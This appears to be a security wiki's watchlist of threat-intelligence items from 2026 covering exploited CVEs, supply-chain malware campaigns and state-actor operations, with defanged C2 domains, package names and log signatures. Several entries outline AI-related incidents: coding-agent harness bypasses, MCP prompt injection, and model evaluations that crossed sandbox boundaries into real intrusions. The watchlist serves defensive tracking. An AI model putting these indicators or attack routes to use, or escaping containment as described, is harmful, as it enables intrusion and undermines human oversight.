• CL-STA-1114 / Void Blizzard Zimbra exploitation, monitor CISA and AA26-204A partners, Unit 42, Proofpoint, Microsoft, Seqrite, Zimbra, and incident responders for CVE-2025-66376 exploitation scope, Ulej / Flowerbed changes, additional victims and infrastructure, app-specific-password persistence, reconciliation of the LAUNDRY BEAR / Void Blizzard / CL-STA-1114 / TA488 labels with Seqrite's APT28 assessment, KEV status, and confirmation of affected and fixed builds.
• GitHub Actions cPanel exploitation campaign, monitor GitHub, Socket, cPanel, Packagist, and incident responders for confirmed repository/victim counts, workflow or payload changes, infrastructure rotation, successful CVE-2026-41940 exploitation scope, source-control token reuse, and platform containment actions following the July 22 distributed-runner campaign.
• CISA KEV July 22 additions, monitor Check Point, Microsoft, CISA, and incident responders for CVE-2026-16232 victim or actor scope, additional application-token indicators, affected-branch fixes, and reconciliation of the conflicting CVE-2026-50522 privilege prerequisites plus SharePoint exploit-chain and post-exploitation detail.
• Check Point SmartConsole emergency patch scope, monitor Check Point, CISA, Rapid7, and incident responders for additional CVE-2026-16232 exploitation indicators or victim scope, release-specific fixes for older branches, and any exploitation of companion management-authentication flaw CVE-2026-62144 or GaiaOS WebUI local-privilege-escalation flaw CVE-2026-62145.
• Iran-linked access optionality and selective disruption, monitor SentinelLABS, CISA/FBI, Microsoft, Unit 42, Check Point, Broadcom, OT vendors, and incident responders for identity/cloud/RMM/service-provider access converted from espionage to disruption, persona infrastructure changes after seizures, verified OT process effects, and evidence that distinguishes supplier access from downstream software-supply-chain compromise.
• WordPress wp2shell active exploitation, monitor WordPress, Wiz, Searchlight Cyber, hosting providers, Wordfence, CISA, and incident responders for KEV status, exploit-tool changes, malicious-plugin / web-shell variants, affected-host scope, and post-exploitation lateral movement or data theft tied to CVE-2026-63030 and CVE-2026-60137.
• CISA KEV July 21 additions, monitor CISA, WordPress, Langflow, DD-WRT, FortiGuard, and incident responders for wp2shell post-exploitation changes, Langflow CVE-2026-0770 payload or actor detail, and C0XMO / DD-WRT CVE-2021-27137 infrastructure or propagation updates.
• UAC-0145 / Sandworm access evolution, monitor CERT-UA and partner reporting for additional compromised sites, SMARTAXE contracts/domains, GHETTOVIBE/SCOUTCURL/FREAKYPOLL/FLUIDLEECH/LOADLOOP changes, and COWARDDUCK mobile delivery or infrastructure.
• UTA0533 SonicWall SMA1000 exploitation, monitor SonicWall, Volexity, Rapid7, and CISA for fixed-build changes, additional victims, YARA/IOC revisions, actor attribution, and evidence of KNUCKLEBALL/ORANGETAIL/Suo5 persistence or credential capture.
• Shai-Hulud downstream credential-reuse incidents, monitor public incident reporting where credentials dumped by the 2025 worm are reused months later, such as the July 2026 Suno breach reporting that links one infected employee to source-code, customer-list, cloud, GitHub, and Stripe-related exposure.
• CISA KEV July 2026 emergency additions, track same-week Microsoft SharePoint, ADFS, SonicWall SMA1000, and Fortinet FortiSandbox KEV entries for vendor guidance, exploit-chain reporting, and appliance compromise indicators.
• UNC6671 multi-brand vishing extortion, monitor GTIG, identity and SaaS providers, affected sectors, blockchain analysts, hosting providers, registrars, and incident responders for REDACT / PINK / HELIX / FALCON infrastructure rotation, target and victim scope, payment flows, mailbox defense-evasion changes, data-leak-site activity, and evidence that distinguishes one coordinated group from splintering, shared panels/callers, or outsourced extortion.
• Coding-agent CI harness handoff failures, monitor Anthropic, Google, OpenAI, Novee, GitHub, downstream workflow maintainers, and incident responders for exploitation of Claude Code CVE-2026-54316 or Gemini CLI CVE-2026-12537; additional parser, tool-authorization, process-isolation, approved-domain, or shared-workspace bypasses; affected workflow inventory; malicious AGENTS.md or .gemini/.env artifacts; and confirmed repository, token, release, or package impact.
• Shai-Hulud / Mini Shai-Hulud / TeamPCP supply-chain activity, monitor vendor research, affected-package appendices, maintainer postmortems, CISA/GitHub advisories, and registry notices for new package families, propagation methods, persistence paths, infrastructure, and attribution changes. Also monitor Oligo, GitLab, Mandiant, CloudSEK, Ray/Redis/Docker responders, and infrastructure providers for independent validation or refinement of the TA-NATALSTATUS → IronErn / ShadowRay 2.0 → TeamPCP lineage, additional pre-branding victims, masscan[.]cloud pivots, and evidence that resolves same-operator versus shared-ecosystem uncertainty.
• Russian state IP-camera military espionage, monitor AIVD, MIVD, NCSC partners, camera vendors, and incident-response reporting for named-service attribution, affected products or vulnerabilities, public indicators, victim scope, and changes to the assessment that camera-derived intelligence has supported attacks only inside Ukraine.
• Kratos PhaaS post-takedown activity, monitor BKA, Indonesian authorities, Microsoft, ANY.RUN, hosting providers, and incident responders for victim-notification guidance, seized indicators, affiliate migration, surviving phishing deployments, copied-kit reappearance, and evidence that central disruption did or did not invalidate stolen sessions.
• Azure DevOps MCP pull-request prompt injection, monitor Microsoft and the public azure-devops-mcp repository for a CVE, fixed release, consistent external-content wrapping, hosted-service impact clarification, and audit or policy controls that prevent cross-project confused-deputy tool sequences.
• OpenAI / Hugging Face evaluation-driven intrusion, monitor OpenAI, Hugging Face, the unnamed package-registry proxy/cache vendor, and incident-response follow-ups for the zero-day identity and fix, full timeline, affected customer/partner scope, indicators, independent validation, and controls that prevent long-horizon model evaluations from crossing sandbox, corporate-network, and third-party boundaries.
• GitLab Oj notebook-diff authenticated RCE, monitor GitLab, depthfirst, Oj, CISA, and incident responders for CVE assignment, changes to affected or fixed versions, exploit portability beyond the public GitLab 18.11.3 x86-64 reference, confirmed exploitation, detection artifacts, and clarification of the June 10 release-note classification.
• Operation BlueDash multi-RMM workplace phishing, monitor ZeroBEC, Microsoft, GitHub, RMM vendors, hosting providers, and incident responders for repository or domain containment, new workplace-brand lures, changed loaders, replacement enrollment infrastructure, victim scope, final post-access objectives, and corroboration or refinement of the Nigeria-based developer-group assessment.
• Joyfill npm blockchain-RAT compromise, monitor Joyfill, npm, Socket, StepSecurity, eSentire, GitHub, and incident responders for maintainer confirmation, package yanking or dist-tag changes, initial-access root cause, source/CI scope, victim counts, replacement blockchain transactions and C2 after StepSecurity's July 28 live resolver validation, additional @joyfill releases beyond the six confirmed 2773 prereleases, and reconciliation of PolinRider / DEV#POPPER / OmniStealer family overlap without assuming actor attribution. Preserve StepSecurity's final branch scoping: the detached /$/boot downloader is dormant for the A9-0135-3 Joyfill npm identifier unless later host telemetry shows otherwise.
• Alibaba developer-targeted distributed npm RAT campaign, monitor Socket, npm, Alibaba, DingTalk, affected maintainers, GitHub, cloud providers, and incident responders for package and account takedowns, confirmed victim scope, initial-access clarification for lib-mtop and local-config-parser, replacement GitHub configuration or OSS/C2 infrastructure, additional private-package lookalikes, DingTalk lateral movement, and actor or industrial-espionage attribution beyond the current targeting-based assessment.
• npm publish-time malware scanning and dual-use policy, monitor npm and GitHub for rollout and enforcement dates, documented contentPolicy schema and DISCLOSURE examples, scan and appeal latency, false-positive and evasion reporting, treatment of package updates versus new packages, maintainer-account actions, and evidence that the control blocks compositional or mutable-payload campaigns before availability.
• CosmosEscape Azure Cosmos DB isolation failure, monitor Wiz, Microsoft, MSRC, Azure service-health channels, Black Hat USA, customers, and incident responders for the full Gremlin query chain, a CVE or MSRC case identifier, customer-visible indicators, tenant-specific investigation guidance, independent validation, remediation-architecture detail, or evidence that changes the current no-exploitation and no-customer-action conclusions.
• Anthropic cyber-evaluation real-world intrusions, monitor Anthropic, Irregular, METR, PyPI, Aikido, StepSecurity, affected organizations, and incident responders for the promised redacted package-publication transcript; confirmation or rejection of the anthropickit==999.9.9 candidate and its Pipedream endpoint; identification of the package-scanning security company after StepSecurity's direct exclusion; package hashes and infrastructure indicators; independent review; affected-system findings; registry response; historical-run scope changes; containment-control detail; and evidence that refines the current harness-and-operational-failure assessment.
• XCSSET v40 Xcode supply-chain campaign, monitor Unit 42, Microsoft, Trend Micro, Apple, Google, GitHub, affected maintainers, and incident responders for the poisoned-project list, confirmed endpoint and downstream-build scope, initial repository-compromise paths, replacement C2 and certificate infrastructure, Chrome-on-macOS CDP protections, Telegram trojanizer configuration, additional modules, and evidence that can identify or attribute the operators beyond the XCSSET family label. As of Sep 8, 2026 the worm has also reached a new package ecosystem: universal_file_viewer@0.1.5 on pub.dev (Dart/Flutter, first compromised package Aikido has detected there), the example/ directory's Android Gradle preBuild + iOS/macOS PBXBuildRule hooks (C2 5yotmxcc54l9xda[.]ru / qdgs232i-q[.]ru / ejntin6hkjt7gj2[.]ru); threat.wiki verified 0.1.6 still carries the iOS + macOS Xcode hooks and 0.1.7 appears clean. Monitor pub.dev / Dart / Flutter registry responses, maintainer repo re-poisoning, further Flutter package compromises, and whether the worm's endpoint-driven propagation reaches other registries (PyPI, RubyGems, crates.io, NuGet) via the same infected-maintainer mechanism.
• Water-sector PLC configuration tampering, monitor CISA, FBI, EPA, Rockwell Automation, Forescout, Censys, water-sector incident responders, utilities, integrators, cellular providers, and state authorities for victim and geographic scope beyond the seven-state minimum, changes to the 4,100-plus exposed-host population, remediation of the 22 controllers found in affected cities, MicroLogix 1100 / 1400 or other PLC model expansion, actor attribution, source infrastructure, exploitation or rejection of CVE-2017-16740, credential-use evidence, shared third-party architecture, modified project-file or ladder-logic indicators, and additional pressure, flooding, contamination, boil-water, or manual-operation effects.
• Brazilian education-sector ransomware and insider activity, monitor Kaspersky GERT, Brazilian CERT and education-sector responders, affected institutions, RMM providers, and ransomware researchers for absolute case counts, additional victim or regional scope, exploited public-facing applications, source infrastructure, sample hashes, LockBit-builder and DragonForce affiliate attribution, data-theft evidence, and additional shared-account or removable-media insider findings.
• Pass-ta-key synced-passkey theft, monitor Unit 42, Google, Chrome, FIDO Alliance, major relying parties, browser and credential-manager vendors, and endpoint responders for CVEs, affected builds, independent validation, device-key attestation hardening, master-key memory handling, SDS rotation or revocation, additional UV-validation fixes, detection telemetry, and confirmed malicious use. Preserve the tested Google Password Manager / Chrome / Windows / TPM scope and the local-malware prerequisite.
• Open VSX evil-twin extension campaign, monitor Manifold Security, Eclipse Foundation / Open VSX, affected namespace owners, editor and devcontainer operators, domain and hosting providers, and incident responders for the authoritative installation or download count, publisher-account linkage, additional packages or registries, VSIX and infrastructure rotation, confirmed victim scope, downstream use of collected repository/CI identity, and evidence of capabilities beyond the analyzed reconnaissance beacons. Keep registry namespace impersonation distinct from compromise of the legitimate extension publishers.
• OpenAI Astra critical-cyber capability assessment, monitor OpenAI, government and independent evaluators, third-party testing partners, affected open-source and infrastructure providers, and incident responders for a final Preparedness Framework classification, reproducible evaluation detail, zero-day-development and end-to-end attack measurements, monitor false-negative or evasion findings, changes to paused activities, partner-control requirements, deployment decisions, and evidence of real-world activity. Do not convert “cannot rule out Critical” into a confirmed Critical assessment, and keep Astra separate from the models involved in the Hugging Face intrusion.
• OpenAI two-week RL-training pause (Aug 18, 2026), monitor OpenAI for the resumption of RL training, publication of the expanded-monitoring scope and criteria, any new frontier-model releases or evaluation incidents during the pause window, government or independent-evaluator feedback on the pacing decision, and whether the pause is extended or made a standing control for all frontier-model development. Preserve the first-party basis: no independent telemetry, specific model versions, or monitoring-metric disclosure is currently public.
• arXiv:2608.09867 encrypted-reasoning trace replay, monitor OpenAI, Anthropic, Google, and Hugging Face for public acknowledgment of the mitigations the authors state were applied; independent replication of the four abuse paths (anti-distillation bypass, PII/credential extraction from public logs, hidden-hazardous-content disclosure, invisible prompt injection); whether previously-published encrypted blocks in public repositories remain decodable; provider documentation changes for cross-model reasoning-block handling; and any in-the-wild evidence of reasoning-block replay used for data exfiltration or agentic-workflow poisoning. Preserve the distinction between the researchers' "no longer reproducible" statement and independent validation.
• Elementor Pro CVE-2026-32475 / WordPress 7.0.4 CVE-2026-65640 patch uptake, monitor Patchstack, WordPress.org, Elementor, CISA, hosting providers, and incident responders for KEV listing, confirmed in-the-wild exploitation, exploit-tool or scanner publication, affected-version lower-bound confirmation (all 4.x vs. specific subset), additional Elementor Forms module vulnerabilities, WordPress core follow-on security releases, and hosting-provider mass-patch or mass-exploitation telemetry. No KEV entry or confirmed in-the-wild exploitation as of August 20, 2026; treat as patch-now-then-hunt until otherwise confirmed.
• Baileys / libsignal-node npm channel-follow campaign, monitor SafeDep, npm/GitHub, WhatsApp/Signal multi-device bot tooling, and affected publishers for the final confirmed package/version set against the 4,250-name / 112-name namespaces, levvleys.json / LevviCodeID/Levi4than and levvicode[.]cloud operator rotation, additional forced-follow channel payloads or monetisation, registry removals that pre-empt source analysis, confirmed victim scope, and spread of the remote-follow-list and base64 authorisation-gate patterns to other multi-device bot libraries. Preserve SafeDep's scoping: confirmed 70 Baileys names / 343 versions plus 15 libsignal-node names / 38 versions is a lower bound, no broader actor identity is asserted, and the campaign is session-abuse social abuse (forced channel follows, ad-URL injection, forged channel attribution, self-DoS blocking), not credential theft, distinct from the ChainDrop / Mini Shai-Hulud and arrayref operations. SEPTEMBER 22 FOLLOW-UP (this wiki, OSV MAL-2026-16386/16387 + registry/GitHub verification): two new confirmed names, @mikudeveloper/baileys 1.0.0 (LIVE, 113 downloads/week, remote-follow via raw.githubusercontent.com/MikuDevReal/V2.0/.../pepek.json verified live at check, channels 120363432127131142/120363406577875836@newsletter, publisher mikudev18@gmail.com) and @mr-supun-fernando/supunmd-bail 3.0.3 (LIVE, publisher supunfernando179@gmail.com) which carries a NEW delivery rail: "libsignal": "github:tenka-san/libsignal-node" unpinned (no SHA/tag/integrity) = install-time execution sourced from a GitHub repo HEAD with zero malicious code in the npm tarball (repo verified benign fork of ForstaLabs/libsignal-node at check, mutability is the vulnerability); both zero-GHSA = invisible to advisory-keyed consumers; monitor: tenka-san repo weaponization, takedown of either name, copycat adoption of the unpinned-github: rail, pepek.json channel rotation → Sep 22 section. OCTOBER 1 FOLLOW-UP (OX Security Sep 28 "PhantomSub", captured by this wiki + Oct 1 tarball/registry forensics): campaign named, 101 members, ~490K downloads (~116K last 30 days, accelerating); three variants (19 GitHub-remote lists / 60 cleartext / 14 obfuscated); monetisation = Indonesian account-selling channels via business-WhatsApp contact "Dan"; six Oct-1-checked family names ALL still live (ishumdz-bail 4,610 dl/wk); ishumdz-bail author deleted the follow-block mid-campaign (Sep 26, comment "hidden auto-follow block removed") while OSV's ≤1.0.16 list stayed accurate, clean-latest ≠ cleared package; @nyzzpedia/baileys-new removed (404, no holder); follow-lists levvleys.json + pepek.json + NEW skyzopedia/Screaper/idChannel.json (23 channels, "desc": "Lifetime" shape) ALL still serving; new IoCs: JID 120363399205146445@newsletter, invite code 0029VbBv6cUInlqLc5H0Kw0K. Monitor: OX's promised follow-ups, npm disposition of the 85 live names, whether the cleanup-comment gets mimicked, tenka-san repo (unchanged watch) → Oct 1 section.**
• Coding-agent lifecycle hooks as audit telemetry, monitor Elastic Security Labs (the planned Windows PowerShell port and Claude Code follow-up), other coding-agent vendors (hook surfaces, blocking allow/deny/ask semantics), EDR/XDR vendors, and adoption reports for the record-everything flight-recorder pattern (280-line bash hook collector, JSONL + filestream + decode_json_fields, ai_hooks.* namespace under field-level security), the growth of logged tool-call events (13M+ from 1,100+ machines / ~900 users since May 2026), whether blocking hook controls are added beyond the sensor posture, and cross-vendor comparability of the hook event shapes (sessionStart/End, before/afterShellExecution, before/afterMCPExecution, postToolUse, afterFileEdit, subagentStart/Stop). Defensive-telemetry reference with no actor or campaign attribution; preserve the distinction between this audit pattern and coding-agent-parented malicious endpoint activity, where signed Claude Code / Cursor ancestry can instead hide tunnels, credential-bearing commands, and persistence.
• CISA AA26-237A "A Tale of Two SOCs" follow-on, monitor CISA for a STIX JSON or detailed annex release beyond the public advisory, named-tooling or sample indicators from the two red-team engagements, follow-on CISA hardening guidance on Machine Account Quota (ms-DS-MachineAccountQuota), AD CS certificate-template abuse (the ESC1 / Certighost class), cleartext credential storage, and static never-expiring cloud access keys, and whether the water-sector organization's assume-breach findings (DCSync from an SCCM config-file service-account credential, OT DMZ bastion reach) become sector-specific guidance. Preserve the no-organization-names and no-independent-validation caveats. See ops/cisa-aa26-237a-tale-of-two-socs-red-team-critical-infrastructure.md.
• Kaltura mwEmbed CVE-2026-19912 / CVE-2026-19913 unpatched deserialization, monitor CERT/CC, Kaltura, CISA KEV, and incident responders for a vendor patch or workaround, Kaltura re-engagement with CERT/CC, in-the-wild exploitation of the mwEmbedLoader.php deserialization sink (file read / RCE, unauthenticated), affected html5lib distribution scope, and whether the two CVEs are split between the file-read and RCE manifestations as more detail emerges. Preserve the no-patch, no-vendor-contact, no-exploitation-report status as of August 26, 2026, and the ServiceUrl allow-list mitigation shape. See ops/kaltura-mwembed-cve-2026-19912-cve-2026-19913-unpatched-rce-file-read.md.
• NovaCookies / Sneaky2FA-variant Docusign-notification AitM PhaaS, monitor Island Security, Proofpoint, Microsoft, and M365/Okta operators for confirmed victim scope beyond "hundreds of organizations," .vu lure-domain and alternating-case label rotation beyond PwPt-sHaRe / Ms36-AcCeSs / ClOd-ViEw, operator or affiliate identification, the AnonyMousKIT AI-vishing service referenced in the same report, and any takedown or enforcement action. Preserve the PhaaS-operator (not named-group) framing and the genuine-Docusign-envelope / malicious-document-content pattern. See ops/novacookies-docusign-aitm-phaas-m365-session-theft.md.
• SLEEPWALKER passive raw-packet backdoor (ESET ERAAgent side-loading), monitor the r136a1.dev research post (404 at capture), The Hacker News, and ESET for a reachable primary analysis, public toolkit release, in-the-wild use of the 23-instruction bytecode magic-packet implant, dpapi.dll-beside-ERAAgent.exe sightings beyond the disclosed sample (SHA-256 d3471707…), and additional security-vendor-agent side-loading targets. Preserve the research-grade / no-public-toolkit-release status as of August 26, 2026, and the zero-outbound-traffic detection model (module placement + registry state, not beaconing). See tools/sleepwalker-passive-backdoor-magic-packet-bytecode.md.
• sonatype-2026-006746 "Reported Log4j RCE" FilteredObjectInputStream allowlist bypass, monitor Sonatype, Apache Log4j security lists, and Log4j 3.x development for a CVE assignment or formal Apache position change on the java.rmi.MarshalledObject inner-object deserialization bypass (reproduced on 2.26.1), confirmation of which Log4j builds treat the deserialization filter as a security boundary versus defense-in-depth, in-the-wild exploitation of untrusted Java-serialized Log4j event deserialization, and Log4j 3.x removal of the legacy Java-serialization event path. Preserve the classification as a hardening gap / trust-boundary issue, not a Log4j vulnerability, and the finding's unvalidated AI-agent provenance. See patterns/log4j-filteredobjectinputstream-ai-agent-bypass-sonatype-2026-006746.md.
• QTFY / QScan / QTRouter PRC infrastructure seizure (DoJ/FBI, Aug 26, 2026; targets-not-victims correction Aug 29-31, 2026), monitor the court case (S.D. Cal.) for individual indictments beyond the QTFY group and Nanjing Xinjiuwei company, domain rotation after the seizure of mq-task.qt-proxy[.]org / mq-result.qt-proxy[.]org / www.qtproxy[.]xyz / securelink.qtproxy[.]xyz (hard-coded C2 makes reconstitution likely), Lumen Black Lotus Labs' "Infrastructure Quartermaster" enablement-model post for tooling detail, MSS/PLA customer-scope confirmation, and any confirmed victim organization beyond the corrected targets list (NASA, Federal Reserve, DOE, DOJ, HHS, NIH, and the U.S. Senate, the DoJ corrected its Aug 26 press release on Aug 29-31, 2026, to describe these as "among the targets of QTFY" rather than victims; treat compromise as unconfirmed for the full set until the affidavit or a victim organization says otherwise; the CVE-2019-11510 Pulse Secure NASA intrusion attempt from 2019 is attempt-only per the affidavit). Preserve the court-documents attribution framing (PRC state-sponsored, not multi-agency assessed) and the distinctness from the Iran-nexus Mirage Kitten / Nimbus Manticore line. See ops/qtfy-qscan-qtrouter-china-infrastructure-seizure-august-2026.md.
• HOOKEDGE / BlueDelta APT28 batch-script backdoor campaigns, monitor Recorded Future, The Hacker News, Microsoft, and Eastern European CERTs for additional victim scope beyond Romanian, Spanish, and Turkish government/diplomatic targets, replacement webhook[.]site-class staging after sandbox-evasion tuning (the hidden-image canary was already removed to reduce network IOCs), second-stage beacon-interval changes beyond the observed five minutes, HEADLACE-lineage tooling revisions, and independent corroboration of the moderate-confidence APT28 attribution. Preserve the durable detection shapes: ~30-minute scheduled tasks executing batch files under user profiles, headless/hidden Microsoft Edge making outbound HTTP, and .cmd-shaped fetch/POST patterns to public request-capture services. See ops/apt28-hookedge-backdoor-european-gov-diplomatic-august-2026.md.
• PaperCut NG/MF CVE-2026-81578 / CVE-2026-82078 active exploitation, monitor PaperCut, Huntress, watchTowr, CISA, and incident responders for Release 2 / v24 build uptake, additional customer-incident scope, actor or campaign attribution, server.log triage artifacts beyond the published ERROR No suitable driver found for jdbc:no:x and cardID: VALUES CAST log signatures, pc-app.exe post-exploitation indicators, and any KEV listing. This is the second major PaperCut exploitation wave after the 2023 CVE-2023-27350 Cl0p/LockBit chain, so preserve the contrast: the 2023 chain was a known unauthenticated deserialization sink, while this chain chains an unauthenticated pre-validation admin-trigger (CWE-306) into unvalidated driver-class instantiation in the database connector (CWE-470). See ops/papercut-ng-mf-zero-day-active-exploitation-cve-2026-81578-cve-2026-82078.md. August 28 update: Huntress confirmed limited exploitation in two customer environments (Base64 whoami & ver / whoami & ver & tasklist recon, a deployed OS-agnostic Java .class fingerprinter writing to Udydn.out, deletion of server.log / derby.log) and assessed the activity as early-stage recon/validation with no end-goal determination; watchTowr confirmed the full unauthenticated chain and disclosed that new patch bypasses affecting the latest fully-patched build remain (one earlier bypass fixed in Release 2), so patch-alone is not a guaranteed control; pair with trusted-IP/VPN restriction and security.properties hardening. Monitor for Release 2 / v24 build uptake, attribution, additional incidents, and a KEV listing.
• ServiceNow AI Platform / Now Platform August 27, 2026 advisory, monitor ServiceNow, CISA KEV, and self-hosted Now Platform operators for exploitation evidence or KEV listing of CVE-2026-18885 (GraphQL Composite Data API code injection), CVE-2026-18886 (configuration-image upload access control), CVE-2026-74820 (dynamic-schema ORDER BY SQLi), and CVE-2026-6876 (unauthenticated sandbox escape), self-hosted patch-uptake confirmation against the Xanadu Patch 11 HF 7a / Yokohama P12 HF 3b-P13 HF 4 / Zurich P7b-P12 / Australia P2 HF 3-P5 matrix, and reconciliation of CVE-2026-6876's "unauthenticated" description with its CVSS 4.0 vector's PR:L. Preserve the batch framing: three 10.0 unauthenticated flaws plus an 8.7 sandbox escape following the July 2026 CVE-2026-6875 pre-auth sandbox escape. See ops/servicenow-ai-platform-august-27-2026-three-cvss-10-unauthenticated-flaws.md.
• cPanel/WHM CVE-2026-65643 parked/addon-domain root RCE, monitor cPanel, the CVE Program, CISA KEV, hosting providers, and incident responders for a CVE Program record (absent as of August 28, 2026), a CVSS score, exploitation reports or a KEV listing, Team User sub-account scope confirmation, compromise-verification tooling or IOCs, and 11.138.1.7 build-uptake telemetry. Preserve the shared-hosting blast-radius framing: one tenant with parked/addon-domain permission can take root on the whole server, with no published interim mitigation. See ops/cpanel-whm-cve-2026-65643-parked-addon-domain-root-rce.md.

• ownCloud CVE-2023-49105 Philippine nuclear-research-body exploitation (Hunt.io, Aug 28, 2026), monitor Hunt.io, CISA, ownCloud, Philippine CERT, and incident responders for actor or cluster refinement beyond the Chinese-speaking language-based indicator (explicitly not a state-affiliation call), additional victims beyond the nuclear research body and the Navy shipbuilder, infrastructure rotation beyond 31.58.209[.]241, the BOD 26-04 2026-08-30 deadline outcome on federal systems, and whether the parallel LiteSpeed Cache CVE-2024-28000 / XML-RPC / EtherHiding layer is confirmed as a separate actor. Preserve the default-configuration risk framing: a known username plus an absent WebDAV signing key (the ownCloud default) is the entire exploit prerequisite on sub-10.13.3 instances. See ops/owncloud-cve-2023-49105-philippine-nuclear-exploitation-hunt-io-august-2026.md.

• ctf-agent (npm) name-resurrection grammar (OSV MAL-2026-18335 / GHSA-2j3v-rjgw-5wgg, this wiki Oct 26 221st), monitor the registry for a RE-ARM (any new version above the 0.0.0-stage stub = the resurrection completes its cycle; the stub README literally says "awaiting a staged release"), nvtruongops footprint growth beyond 1 package, OSV/GHSA mints against the September ghost rungs (1.2.0-1.3.7 = the predecessor's own story, currently unadvised), retro-application of the resurrection marker (time.created later than the oldest time[version]) across watched names, and whether the npm registry ever exposes erase/re-register lineage publicly. Route note: OSV /v1/query {} carries a freshness lag of minutes behind an import, absence claims need the canonical /v1/vulns/ lane.